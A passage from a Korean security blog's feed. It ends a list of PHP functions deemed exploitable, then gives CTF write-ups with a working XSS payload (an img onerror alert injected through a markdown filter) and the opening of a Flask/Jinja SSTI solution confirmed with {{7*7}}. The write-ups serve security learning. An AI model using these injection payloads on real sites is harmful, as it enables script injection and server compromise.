'session_set_save_handler'   =&gt; array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate'    =&gt; array(2, 3),
'sqlite_create_function'     =&gt;  2,
&lt;/pre&gt;
&lt;p style=&quot;font-size: 1.25em;&quot;&gt;&lt;br /&gt;Information&amp;nbsp;Disclosure&lt;br /&gt;&lt;pre class=&quot;brush:plain&quot;&gt;
phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid
&lt;/pre&gt;&lt;br /&gt;&lt;p style=&quot;font-size: 1.25em;&quot;&gt;Other&lt;/p&gt;&lt;br /&gt;&lt;pre class=&quot;brush:plain&quot;&gt;
phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid
&lt;/pre&gt;&lt;br /&gt;&lt;p style=&quot;font-size: 1.25em;&quot;&gt;Filesystem Functions&lt;/p&gt;&lt;br /&gt;&lt;pre class=&quot;brush:plain&quot;&gt;
// open filesystem handler
fopen
tmpfile
bzopen
gzopen
SplFileObject-&gt;__construct
// write to filesystem (partially in combination with reading)
chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng   - 2nd parameter is a path.
imagewbmp  - 2nd parameter is a path. 
image2wbmp - 2nd parameter is a path. 
imagejpeg  - 2nd parameter is a path.
imagexbm   - 2nd parameter is a path.
imagegif   - 2nd parameter is a path.
imagegd    - 2nd parameter is a path.
imagegd2   - 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
// read from filesystem
file_exists
file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
highlight_file
show_source
php_strip_whitespace
get_meta_tags
&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style='text-align:center'&gt;Origin : &lt;a href=&quot;https://stackoverflow.com/questions/3115559/exploitable-php-functions&quot;&gt;https://stackoverflow.com/questions/3115559/exploitable-php-functions&lt;/a&gt;&lt;/p&gt;</description>
      <category>Web</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/95</guid>
      <comments>https://posix.tistory.com/95#entry95comment</comments>
      <pubDate>Sun, 7 Apr 2019 20:17:45 +0900</pubDate>
    </item>
    <item>
      <title>Marcodowno 문제풀이</title>
      <link>https://posix.tistory.com/94</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpqZfQ/btqudtFPBsu/n1rZ1amdE2EQ1U4vecLg91/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpqZfQ/btqudtFPBsu/n1rZ1amdE2EQ1U4vecLg91/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpqZfQ/btqudtFPBsu/n1rZ1amdE2EQ1U4vecLg91/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpqZfQ%2FbtqudtFPBsu%2Fn1rZ1amdE2EQ1U4vecLg91%2Fimg.png&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;Midnightsun CTF web 1번&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;XSS 문제입니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;캡처.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cBPlhb/btquc31GsuX/qdxNctNR4Jyt2PgvCCIum1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cBPlhb/btquc31GsuX/qdxNctNR4Jyt2PgvCCIum1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cBPlhb/btquc31GsuX/qdxNctNR4Jyt2PgvCCIum1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcBPlhb%2Fbtquc31GsuX%2FqdxNctNR4Jyt2PgvCCIum1%2Fimg.png&quot; data-filename=&quot;캡처.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;사이트에 접속하면 위와 같은 폼이 하나 있는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;가운데 텍스트 박스에 접속시 alert(1) 가 뜨도록&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;xss 처리가 된 URL을 넣어주면 해결입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;물론 URL 해당 사이트 내부 URL 이어야 하고&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;중간의 here 이라는 색상이 다른 텍스트를 보면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;링크가 걸려있는데요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;해당 서비스 페이지 내에서 파라미터를 적절히 넣어주면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;자바스크립트를 통해 렌더링되기에&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이를 잘 활용하면 되겠습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;1.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NThr2/btqubBLBgoi/DTCLBkMhCYCe0mKhK18Czk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NThr2/btqubBLBgoi/DTCLBkMhCYCe0mKhK18Czk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NThr2/btqubBLBgoi/DTCLBkMhCYCe0mKhK18Czk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNThr2%2FbtqubBLBgoi%2FDTCLBkMhCYCe0mKhK18Czk%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;here 문자열을 클릭해 링크로 접속하면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Input, Preview 두개의 란이 존재합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Input에 뭔가를 입력하면 일정 규칙에 따라 변환되어&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Preview 란에 나타나게 되는 것이죠.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;2.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/doQ3Mp/btqubR8t7HW/KR2fg0WeHXaMiMxlKYkm6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/doQ3Mp/btqubR8t7HW/KR2fg0WeHXaMiMxlKYkm6k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/doQ3Mp/btqubR8t7HW/KR2fg0WeHXaMiMxlKYkm6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdoQ3Mp%2FbtqubR8t7HW%2FKR2fg0WeHXaMiMxlKYkm6k%2Fimg.png&quot; data-filename=&quot;2.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;사이트에 접속하면 location.search 에서&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;정규식을 통해 Input 이후 문자열를 추출하여&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;자동으로 input에 넣고 렌더링하도록 되어 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;정규식 자체에는 아무 제한도 걸려있지 않네요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;그리고 markdown 이라는 자바스크립트 함수가 눈에 들어오는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;입력을 필터링해 주는 함수입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1554533482878&quot; class=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;function markdown(text){
	text = text.replace(/[&amp;lt;]/g, '')
	text = text.replace(/----/g,'&amp;lt;hr&amp;gt;')
	text = text.replace(/&amp;gt; ?([^\n]+)/g, '&amp;lt;blockquote&amp;gt;$1&amp;lt;/blockquote&amp;gt;')
	text = text.replace(/\*\*([^*]+)\*\*/g, '&amp;lt;b&amp;gt;$1&amp;lt;/b&amp;gt;')
	text = text.replace(/__([^_]+)__/g, '&amp;lt;b&amp;gt;$1&amp;lt;/b&amp;gt;')
	text = text.replace(/\*([^\s][^*]+)\*/g, '&amp;lt;i&amp;gt;$1&amp;lt;/i&amp;gt;')
	text = text.replace(/\* ([^*]+)/g, '&amp;lt;li&amp;gt;$1&amp;lt;/li&amp;gt;')
	text = text.replace(/##### ([^#\n]+)/g, '&amp;lt;h5&amp;gt;$1&amp;lt;/h5&amp;gt;')
	text = text.replace(/#### ([^#\n]+)/g, '&amp;lt;h4&amp;gt;$1&amp;lt;/h4&amp;gt;')
	text = text.replace(/### ([^#\n]+)/g, '&amp;lt;h3&amp;gt;$1&amp;lt;/h3&amp;gt;')
	text = text.replace(/## ([^#\n]+)/g, '&amp;lt;h2&amp;gt;$1&amp;lt;/h2&amp;gt;')
	text = text.replace(/# ([^#\n]+)/g, '&amp;lt;h1&amp;gt;$1&amp;lt;/h1&amp;gt;')
	text = text.replace(/(?&amp;lt;!\()(https?:\/\/[a-zA-Z0-9./?#-]+)/g, '&amp;lt;a href=&quot;$1&quot;&amp;gt;$1&amp;lt;/a&amp;gt;')
	text = text.replace(/!\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#]+)\)/g, '&amp;lt;img src=&quot;$2&quot; alt=&quot;$1&quot;/&amp;gt;')
	text = text.replace(/(?&amp;lt;!!)\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#-]+)\)/g, '&amp;lt;a href=&quot;$2&quot;&amp;gt;$1&amp;lt;/a&amp;gt;')
	text = text.replace(/`([^`]+)`/g, '&amp;lt;code&amp;gt;$1&amp;lt;/code&amp;gt;')
	text = text.replace(/```([^`]+)```/g, '&amp;lt;code&amp;gt;$1&amp;lt;/code&amp;gt;')
	text = text.replace(/\n/g, &quot;&amp;lt;br&amp;gt;&quot;);
	
	return text;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;markdown 함수를 조금 보기 쉽게 바꾸어 보았습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;&amp;lt;&lt;/b&gt; 문자를 전부 삭제하고 시작하니&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;태그를 그냥 입력해서는 정상 동작하지 않겠네요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;그런데 마지막에서 5번째 라인을 보면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;img 태그가 존재하는 것을 볼 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;!(alt)[url of image] 와 같은 형식으로 이미지 태그를 작성할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;따라서 아래와 같은 형식으로 작성해주면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;3.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cQ1Sez/btqubfovwa1/iIK31tz0GX93WdXL6FMuNk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cQ1Sez/btqubfovwa1/iIK31tz0GX93WdXL6FMuNk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cQ1Sez/btqubfovwa1/iIK31tz0GX93WdXL6FMuNk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcQ1Sez%2Fbtqubfovwa1%2FiIK31tz0GX93WdXL6FMuNk%2Fimg.png&quot; data-filename=&quot;3.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1554533766772&quot; class=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;div id=&quot;rendered&quot; class=&quot;rendered background-grey&quot;&amp;gt;
	&amp;lt;img src=&quot;http://www.example.com&quot; alt=&quot;hello&quot;&amp;gt;
&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이미지 태그가 작성됩니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;여기서 alt 부분에 조금 바꾸어주면&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;4.PNG&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cllTlg/btqucmNXBgN/rq1JIcFKOMGK3P3CQGYuOK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cllTlg/btqucmNXBgN/rq1JIcFKOMGK3P3CQGYuOK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cllTlg/btqucmNXBgN/rq1JIcFKOMGK3P3CQGYuOK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcllTlg%2FbtqucmNXBgN%2Frq1JIcFKOMGK3P3CQGYuOK%2Fimg.png&quot; data-filename=&quot;4.PNG&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1554533843947&quot; class=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;div id=&quot;rendered&quot; class=&quot;rendered background-grey&quot;&amp;gt;
	&amp;lt;img src=&quot;http://www.example.com&quot; alt=&quot;&quot; onerror=&quot;alert(1)&quot; &quot;=&quot;&quot;&amp;gt;
&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;위와 같이 onerror부분에 스크립트 삽입이 되며&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;alert이 뜨는 것을 확인할 수 있었습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이제 이를 URI 인코딩을 하여 메인화면에서 전송해 주면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;플래그를 얻을 수 있겠습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1554533935469&quot; class=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://marcodowno-01.play.midnightsunctf.se:3001/markdown?input=%21%5B%22%20onerror%3D%22alert%281%29%22%5D%28http%3A//www.example.com%29&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LwzCA/btqubAMGDFC/VWCnH5FEv9XxeKQxezNF01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LwzCA/btqubAMGDFC/VWCnH5FEv9XxeKQxezNF01/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LwzCA/btqubAMGDFC/VWCnH5FEv9XxeKQxezNF01/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLwzCA%2FbtqubAMGDFC%2FVWCnH5FEv9XxeKQxezNF01%2Fimg.png&quot; width=&quot;860&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>CTF Writups</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/94</guid>
      <comments>https://posix.tistory.com/94#entry94comment</comments>
      <pubDate>Sat, 6 Apr 2019 15:39:42 +0900</pubDate>
    </item>
    <item>
      <title>repeaaaaaat 문제풀이</title>
      <link>https://posix.tistory.com/92</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbpjV8/btqt3IKyu6I/GVBBv0DHywFmrKTYmyxnWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbpjV8/btqt3IKyu6I/GVBBv0DHywFmrKTYmyxnWk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbpjV8/btqt3IKyu6I/GVBBv0DHywFmrKTYmyxnWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbpjV8%2Fbtqt3IKyu6I%2FGVBBv0DHywFmrKTYmyxnWk%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Encrypt CTF web 4번&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Flask SSTI 문제입니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dd4Vzy/btqt7rafuD8/EcuKHtKeM0LmZ7dAvtPDXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dd4Vzy/btqt7rafuD8/EcuKHtKeM0LmZ7dAvtPDXk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dd4Vzy/btqt7rafuD8/EcuKHtKeM0LmZ7dAvtPDXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdd4Vzy%2Fbtqt7rafuD8%2FEcuKHtKeM0LmZ7dAvtPDXk%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;사이트에 접속하면 푸른 아이콘들이 보이는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;스크롤을 내리려고 하면 이미지가 계속적으로 증가하기에&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;하단 내용을 확인할 수 없도록 되어 있습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqG00o/btqt4x28cQU/L3O9VAG5IVjKsN0u1YKWKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqG00o/btqt4x28cQU/L3O9VAG5IVjKsN0u1YKWKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqG00o/btqt4x28cQU/L3O9VAG5IVjKsN0u1YKWKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqG00o%2Fbtqt4x28cQU%2FL3O9VAG5IVjKsN0u1YKWKK%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;소스를 확인하면 스크롤시 이미지 증식 기능을 구현하는&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;자바스크립트 코드와 하단에 base64로 인코딩된 주석문이 보입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;brush:plain abnf&quot;&gt;d2hhdF9hcmVfeW91X3NlYXJjaGluZ19mb3IK
L2xvbF9ub19vbmVfd2lsbF9zZWVfd2hhdHNfaGVyZQ==
Lz9zZWNyZXQ9ZmxhZw==&lt;/pre&gt;
&lt;pre class=&quot;brush:plain ceylon&quot;&gt;what_are_you_searching_for
/lol_no_one_will_see_whats_here
/?secret=flag&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;주석은 새로고침을 할 때마다 랜덤으로 바뀌는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;디코딩 해보면 페이지의 파라미터 힌트가 주어집니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/czldfS/btqt3H51w93/2Unq9BxSJj9lPqNvffjvXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/czldfS/btqt3H51w93/2Unq9BxSJj9lPqNvffjvXk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/czldfS/btqt3H51w93/2Unq9BxSJj9lPqNvffjvXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FczldfS%2Fbtqt3H51w93%2F2Unq9BxSJj9lPqNvffjvXk%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre class=&quot;brush:plain dts&quot;&gt;http://104.154.106.182:5050/?secret=posix.tistory.com&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;입력된 값이 특별한 필터링 절차없이&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;그대로 페이지에 추가되는 것을 보고&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;바로 SSTI 기법을 떠올릴 수 있었습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CLy3Q/btqt7str1Dm/axhahO5vl40vW15uhbOyxK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CLy3Q/btqt7str1Dm/axhahO5vl40vW15uhbOyxK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CLy3Q/btqt7str1Dm/axhahO5vl40vW15uhbOyxK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCLy3Q%2Fbtqt7str1Dm%2FaxhahO5vl40vW15uhbOyxK%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre class=&quot;brush:plain x86asm&quot;&gt;104.154.106.182:5050/?secret={{7*7}}&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;추측대로 Jinja 기반의 SSTI가 가능하다는 것을 확인할 수 있었는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
